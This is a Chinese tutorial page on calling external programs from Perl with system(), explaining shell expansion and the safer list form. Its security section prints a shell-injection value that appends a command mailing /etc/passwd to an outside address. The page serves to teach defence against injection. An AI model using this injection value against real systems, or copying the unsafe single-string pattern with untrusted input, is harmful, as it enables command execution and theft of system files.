当前位置: 传客网 > 使用Perl的system运行外部程序

使用Perl的system运行外部程序

2016-12-22 作者:果龙女

很多情况下,需要把程序包装在Perl脚本中运行。

例如,我们可以用Perl来收集执行某个程序所需的参数。

或者也可以捕获其它命令行程序的输出,然后再基于它们做一些决策。

Perl提供了很多不同的解决方案。来看一下。

 

 

system

system可能是最简单的。它最基本的形式就是以字符串传入你想执行的外部命令。

例如在Unix/Linux机器上有用来创建用户帐号的"adduser"命令。 你可以这样调用:

/usr/sbin/adduser --home /opt/bfoo --gecos "Foo Bar" bfoo

如果想从perl脚本里运行,可以按照下面的形式写:

 


  system('/usr/sbin/adduser --home /opt/bfoo --gecos "Foo Bar" bfoo');

这样会运行adduser命令,它的任何输出或错误都会最终显示在屏幕上。

你也可以先组装命令,下面两个例子都会给出同样的结果:

 


  my $cmd = '/usr/sbin/adduser --home /opt/bfoo --gecos "Foo Bar" bfoo';
  system($cmd);

 


  my $cmd = '/usr/sbin/adduser';
  $cmd .= ' --home /opt/bfoo';
  $cmd .= ' --gecos "Foo Bar" bfoo';
  system($cmd);

 

使用多参数的system

system可接收多个参数,所以可以这样改写上面的例子:


  my @cmd = ('/usr/sbin/adduser');
  push @cmd, '--home';
  push @cmd, '/opt/bfoo';
  push @cmd, '--gecos',
  push @cmd, 'Foo Bar',
  push @cmd, 'bfoo';
  system(@cmd);

在这种情况下上面的所有解决方案的结果都是一样的,但情况又不总是这样。

 

Shell 扩展

假设你有一个用来检查文件的checkfiles data1.txt data2.txt或 checkfiles data*.txt可以检查所有以'data'开头并以'txt'作为扩展名的文件。 第二种执行程序的方法在Unix/Linux系统上会有效,shell会把'data*.txt'展开成所有匹配的文件名。当checkfiles data1.txt data2.txt data42.txt database.txt。而在Windows上因为命令行不会做这种扩展而没有效果,程序只是将'data*.txt'作为输入。

Perl脚本会如何处理?

Windows平台没有区别。但是在Unix/Linux系统上,如果在Perl脚本中使用单个字符串运行'checkfiles'程序:, 那么Perl会将字符串传递给shell,由shell进行扩展,然后再将文件列表传递给'checkfiles'程序。 另一方面,如果你将命令和参数作为独立的字符串传递:,那么perl会直接以'data*txt'作为单个参数(不做扩展)运行'checkfiles'程序。

如你所见,把单个字符串作为整个命令有它的优势。

但这种优势也是有代价的。

 

安全风险

如果输入源不可信(如从web或服务器日志文件),使用单个参数并传递整个命令来调用system可能会有安全风险。

假设从一个不可信源接收checkfiles的参数:

 


  my $param = get_from_a_web_form();
  my $cmd = "checkfiles $param";
  system($cmd);

用户键入'data*.txt'还好,checkfile data*.txt

但假如用户传递的是其它更‘聪明’的参数,你可能就会陷入麻烦。例如,如果用户输 data*.txt; mail blackhat@perlmaven.com < /etc/passwd。 最终perl会得到如下命令: checkfile data*.txt; mail darkside@perlmaven.com < /etc/passwd.

shell会首先执行'checkfile data*.txt',但之后会继续执行'mail...'命令。 这会把你的密码文件发送到darkside。

如果你的Perl脚本传递多个参数使用system,就可以避免这样的安全风险。假设Perl代码是这样的:

 


  my $param = get_from_a_web_form();
  my @cmd = ("checkfiles", $param);
  system(@cmd);

然后用户输入data*.txt; mail blackhat@perlmaven.com < /etc/passwd,相应的perl脚本会运行 'checkfiles'程序,并向它传递一个参数:data*.txt; mail blackhat@perlmaven.com < /etc/passwd。 此时shell不会扩展参数,也避免了shell的危险。'checkfiles'程序可能会提示找不到文件data*.txt; mail blackhat@perlmaven.com < /etc/passwd, 但至少我们的密码文件是安全的。

 

总结和深入阅读



相关推荐

  • 使用Perl的system运行外部程序

    很多情况下,需要把程序包装在Perl脚本中运行。例如,我们可以用Perl来收集执行某个程序所需的参数。或者也可以捕获其它命令行程序的输出,然后再基于它们做一些决策。Perl提供了很多不同的解决方案。来看一下。systemsystem可能是最

  • 分享一个简单的php计算程序运行时间实例

    这篇文章主要介绍了php计算程序运行时间的简单例子,首先课课家视频教程平台分析一下原理,要想得到程序运行时间,那么可以在程序最开始运行的时候定义一个变量记下当前时间,然后等我们程序运行完之后再记录一下当前的时间,两者相差就是该程序运行花费的

  • ACE程序运行:无法定位程序输入点 ACEMainBase 于动态链接库ACE.dll 上.

    ACE程序运行:无法定位程序输入点ACE_Main_Base于动态链接库ACE.dll上.程序编译、连接都OK,但是运行的时候报错如下:无法定位程序输入点ACE_Main_Base于动态链接库ACE.dll上。程序如下:#include&q

  • JVM之Java内存区域及内存溢出异常 程序运行时数据区域

    一、Java虚拟机在执行Java程序的过程中会把它所管理的内存划分为若干个不同的数据区域。1、程序计数器占用较小内存空间,可以看做当前线程所执行的字节码的行号指示器,线程拥有独立的计数器。如果线程正在执行java方法,计数器记录正在执行的虚

  • ABAP程序运行效率

    程序的效率是每个程序员都应该重视的,无论您是采用哪一种语言进行开发.程序有时候越短,并不一定越快,有时候程序很多代码,但不一定会很慢.性能是一把双刃剑,获得时间效率的同时,牺牲的是空间的开销.这里提供一些建议以提高你的程序运行速度和减低系统

  • 如何在自己的系统中打开并关闭外部程序

    大家知道,在一个大型复杂的系统中,有时会调用一些外部程序来帮助我们完成某些特定功能。然而,如何打开并关闭这些外部程序呢?也许,这是一个老生常谈的话题,但笔者仍要继续讨论这个问题,原因有二:一是解决这个问题的方法很重要,并经常会遇到;二是大多

  • Java程序运行机制

    Java语言是一种特殊的高级语言,它既具有解释性语言的特征,也具有编译型语言的特征,因为Java程序要经过先编译,后解释两个步骤。高级语言的运行机制计算机高级语言按程序的执行方式可以分为:编译型和解释型两种。编译型的语言指使用专门的编译器、

  • Tirobn不同版本的exe文件造成的程序运行错误

    问题的现象是执行Tribon二次开发程序,程序界面点击按钮没有反应。换一个Tribon模块用Toolbar手动载入执行程序没有问题。从Log看不出来有任何提示。查看Tribon模块的exe文件并不是旧文件,但是在另外一台机器上执行相同的程序

  • 黑马程序员 JAVA程序运行机制

    java有两种核心机制:java虚拟机(JavaVirtualMachine):垃圾收集机制(Garbagecollection)这两种机制在支持着java程序的运行Java虚拟机(JVM)Java虚拟机(JVM)一种用于计算机设备的规范,

  • PHP仿牌空间 支持各种开源程序运行

      PHP仿牌主机,支持各种开源程序运行,我们有各种php版本系统,能够友好的支持PHP仿牌程序。  CentOS5.6-6.2都能能够支持,从开源ecshop、shopex、zencart、magento、opencart已经国外其他开源

  • Delphi调用外部程序详解

    Delphi调用外部程序详解WinExec主要运行EXE文件。如:WinExec(’Notepad.exeReadme.txt’,SW_SHOW);ShellExecute不仅可以运行EXE文件,也可以运行已经关联的文件。首先必须引用she

  • JRE 安装和配置,以适合JAVA程序运行所具备的环境linux

    参考:http://www.linuxsir.org/main/?q=node/59JAVA程序的运行必须要安装JAVARUNTIME,也就是运行所需要的环境;我们可以通过安装JRE或者JDK所获得;如果我们只是应用不是开发,只下载JRE的

  • 改善C#程序,提高程序运行效率的50种方法

    一、用属性代替可访问的字段  1、.NET数据绑定只支持数据绑定,使用属性可以获得数据绑定的好处;  2、在属性的get和set访问器重可使用lock添加多线程的支持。  二、readonly(运行时常量)和const(编译时常量)  1、

  • 禁止程序运行的方法

    1.通过注册表或组策略限制程序运行打开HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer键,在下面建一DWORD值,名称为“Disall

  • 关于程序运行时的内存分配(堆栈等...)

    首先堆栈的意思是:堆栈其实是两种数据结构。堆栈都是一种数据项按序排列的数据结构,只能在一端(称为栈顶(top))对数据项进行插入和删除。要点:堆:顺序随意栈:后进先出(Last-In/First-Out)一个由C/C++编译的程序占用的内存

  • mfc程序运行机制

    学MFC,竟然还不知道MFC的MAIN函数在什么地方?怎么运行的?实在不高明。正在装载数据……看过候捷(JJHOU)老师的《深入浅出MFC》的,对它一定很熟悉。呵呵,本文是献给没有看过那本书,但是又很希望学习MFC程序设计的朋友的。(没有看

  • python调用外部程序和C/C++函数的方法(zz)

    http://blog.csdn.net/ssihc0/article/details/7738527在Python中可以方便地使用os模块运行其他的脚本或者程序,这样就可以在脚本中直接使用其他脚本,或者程序提供的功能,而不必再次编写实现该

  • 如何方便的指定Java程序运行所需要的所有jar包

    初学Java的人经常遇到的一个问题是:如果一个程序依赖某个文件夹下的一堆jar包,那么启动它的时候就需要在java-cp参数后面一个一个的加上jar包的名称,很不方便。比如主程序类叫Main,在目录lib下有aaa.jar,bbb.jar,

  • PHP调用外部程序的方法

    很多情况下需要php调用其他程序如shell命令、shell脚本、可执行程序等等,此时需要使用到诸如exec/system/popen/proc_open等函数,每种函数有各自适合使用的场景以及需要注意的地方。前提:PHP没有运行在安全模式

  • [转]强强联合——Perl 外部程序语言子程序与类的编程

    --太牛了,居然还可以这样啊!!Author:天水-S.TanshuaiEmail:tanshuai@BIGFOOT.COMtanshuai@tanshuai.NETOICQ:66552ICQ:25856530URL:

返回
顶部